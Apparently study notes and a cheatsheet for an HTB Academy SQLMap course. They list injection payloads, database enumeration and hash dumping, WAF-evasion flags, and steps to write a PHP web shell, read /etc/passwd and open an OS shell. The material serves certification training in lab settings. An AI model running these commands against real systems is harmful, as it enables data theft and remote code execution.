SQLMap Essentials — Automated SQLi Detection, Enumeration, WAF Bypass and RCE (HTB CWES)
Built from the SQLMap Essentials module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every flag and workflow kept, condensed. Labs and lessons are on HTB Academy.
SQLMap automates everything from SQL Injection Fundamentals: detection, fingerprinting, enumeration, file read/write, WAF bypass and OS command execution — across ~40 DBMSes and every SQLi technique.
1. Techniques it covers (BEUSTQ)
--technique defaults to BEUSTQ; narrow it when a type misbehaves:
| Letter | Technique | Example payload |
|---|---|---|
B |
Boolean-based blind | AND 1=1 |
E |
Error-based | AND GTID_SUBSET(@@version,0) |
U |
UNION query | UNION ALL SELECT 1,@@version,3 |
S |
Stacked queries | ; DROP TABLE users |
T |
Time-based blind | AND 1=IF(2>1,SLEEP(5),0) |
Q |
Inline queries | SELECT (SELECT @@version) FROM … |
(Out-of-band via DNS exfil is also supported.) UNION and error-based are fastest; blind types are slow (bit-by-bit / delay-by-delay).
2. Targeting
sqlmap -u "http://site/vuln.php?id=1" --batch # GET; --batch = accept all defaults
sqlmap "http://site/" --data 'uid=1&name=test' # POST body
sqlmap "http://site/" --data 'uid=1*&name=test' # * marks the param to inject (or use -p uid)
sqlmap -r req.txt # full HTTP request saved from Burp/DevTools
Other target modes: -l burp.log, -m targets.txt (bulk), -g 'dork' (Google dork), -d (direct DB). JSON/XML bodies work too (SQLMap detects them). The cleanest setup: DevTools/Burp → Copy as cURL, paste, change curl to sqlmap.
3. Request customization
--cookie='PHPSESSID=…' # session cookie (or -H 'Cookie: …')
-H 'X-Forwarded-For: 127.0.0.1' # arbitrary header
--random-agent # dodge default-UA blacklisting (sqlmap/x.y UA)
--method PUT # force a method
--cookie="id=1*" # inject into a header/cookie with the * marker
4. When it won't detect — troubleshoot
--parse-errors # surface the DBMS error messages
-t traffic.txt # dump all sent/received HTTP to a file
-v 6 # max verbosity: see every request/response + [PAYLOAD] lines
--proxy=http://127.0.0.1:8080 # route through Burp to inspect/replay
5. Attack tuning
A payload = boundaries (prefix/suffix) + vector (the SQL).
--level=5 --risk=3 # 1-5 / 1-3: more boundaries & vectors (default 1/1 ≈ 72 payloads; 5/3 ≈ 7865)
--prefix="%'))" --suffix="-- -" # custom injection boundary
--technique=BEU # restrict to boolean+error+union (e.g. skip slow time-based)
--union-cols=17 --union-char='a' --union-from=users # help UNION when auto-detect fails
--code=200 --titles --string="success" --text-only # pin TRUE/FALSE detection
Raise --risk to 3 to enable OR payloads — needed for login pages, but risky if the backend statement writes data.
6. Enumeration
# basics
sqlmap -u URL --banner --current-user --current-db --is-dba --hostname --passwords
# structure
sqlmap -u URL --dbs # databases
sqlmap -u URL --tables -D testdb # tables in a DB
sqlmap -u URL --columns -T users -D testdb # columns
sqlmap -u URL --dump -T users -D testdb # dump a table (→ CSV under ~/.local/share/sqlmap)
sqlmap -u URL --dump -T users -D testdb -C name,surname --start=2 --stop=3 --where="name LIKE 'f%'"
sqlmap -u URL --dump -D testdb # whole DB | --dump-all --exclude-sysdbs = everything useful
# find things fast
sqlmap -u URL --schema # all tables' structure
sqlmap -u URL --search -T user # tables/cols matching a keyword (--search -C pass)
sqlmap -u URL --all --batch # enumerate absolutely everything
When a dumped column looks like hashes, SQLMap offers a dictionary crack on the spot (31 hash types, ~1.4M-word list). --passwords dumps and cracks the DBMS account hashes.
7. Bypassing protections
--random-agent # UA blacklist
--csrf-token="csrf-token" # auto-refresh anti-CSRF token each request
--randomize=rp # send a fresh random value in param rp each request
--eval="import hashlib; h=hashlib.md5(id).hexdigest()" # compute a dependent param before sending
--skip-waf # skip WAF heuristics (less noise)
--tamper=between,randomcase # chain tamper scripts to mangle payloads past a WAF
--list-tampers # see them all
--chunked # split POST body into chunks to hide keywords
--proxy="socks4://IP:PORT" | --proxy-file=list.txt | --tor --check-tor # hide/rotate IP
SQLMap probes for a WAF on startup (a bogus ?pfov= param) and fingerprints 80 WAFs via identYwaf. Handy tamper scripts: between (>→NOT BETWEEN, =→BETWEEN), space2comment, space2randomblank, randomcase, base64encode, equaltolike, charencode, modsecurityversioned.
8. OS exploitation
Needs DBA / file privileges — check with --is-dba.
sqlmap -u URL --file-read "/etc/passwd" # read a remote file
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sqlmap -u URL --file-write "shell.php" --file-dest "/var/www/html/shell.php" # write a web shell
# then: curl 'http://site/shell.php?cmd=id'
sqlmap -u URL --os-shell # interactive OS shell (UDF sys_exec/sys_eval, or file stager)
sqlmap -u URL --os-shell --technique=E # force a technique that returns output (UNION gave none)
--os-shell asks the language (PHP) and webroot (common locations); --batch auto-picks the defaults. It can also brute-force the webroot.
9. What to carry into the CWES exam
- Feed SQLMap a real request.
--batch+-r req.txt(or Copy-as-cURL) with the right cookie/CSRF handling beats a hand-typed-u— most "SQLMap doesn't work" is a bad request. - Escalate stepwise: detect →
--dbs→--tables -D→--columns -T→--dump(--searchto findpass/userfast; it auto-cracks hashes). - When stuck, tune:
--level/--riskup (and for login pages you need--risk=3forOR),--technique=to drop a flaky type,--prefix/--suffixfor odd contexts,-v 6/--parse-errorsto see why. - Past protections:
--random-agent,--csrf-token,--tamper=...,--chunked. The skills-assessment target has "basic protection" — expect to add a tamper and a UA. - Finish with a shell:
--is-dba→--file-read/--file-write --file-desta web shell → or straight to--os-shell --technique=Efor interactive RCE.
Cheatsheet — SQLMap
Target / request
sqlmap -u "http://site/vuln.php?id=1" --batch
sqlmap "http://site/" --data 'uid=1*&name=test' # * = inject here (or -p uid)
sqlmap -r req.txt # Burp/DevTools saved request
sqlmap ... --cookie='PHPSESSID=…' --random-agent --method PUT
# bulk: -m targets.txt dork: -g 'dork' proxy: --proxy=http://127.0.0.1:8080
Tuning
--level=5 --risk=3 --technique=BEUSTQ (narrow e.g. =E)
--prefix="%'))" --suffix="-- -" --union-cols=N --union-char='a'
--code=200 --titles --string="ok" --text-only
Enumerate
--banner --current-user --current-db --is-dba --hostname --passwords
--dbs
--tables -D DB
--columns -T TBL -D DB
--dump -T TBL -D DB [-C c1,c2] [--start N --stop M] [--where "x LIKE 'a%'"]
--dump -D DB | --dump-all --exclude-sysdbs
--schema | --search -T user | --search -C pass | --all
Bypass
--random-agent --csrf-token="token" --randomize=param
--eval="import hashlib; h=hashlib.md5(id).hexdigest()"
--tamper=between,space2comment,randomcase --list-tampers
--chunked --skip-waf --tor --check-tor
Troubleshoot
--parse-errors -t traffic.txt -v 6 --proxy=http://127.0.0.1:8080
OS / files / RCE
--file-read "/etc/passwd"
--file-write "shell.php" --file-dest "/var/www/html/shell.php" # then curl ?cmd=id
--os-shell [--technique=E]
Built from HTB Academy's SQLMap Essentials module — labs, lessons and the CWES exam are on HTB Academy.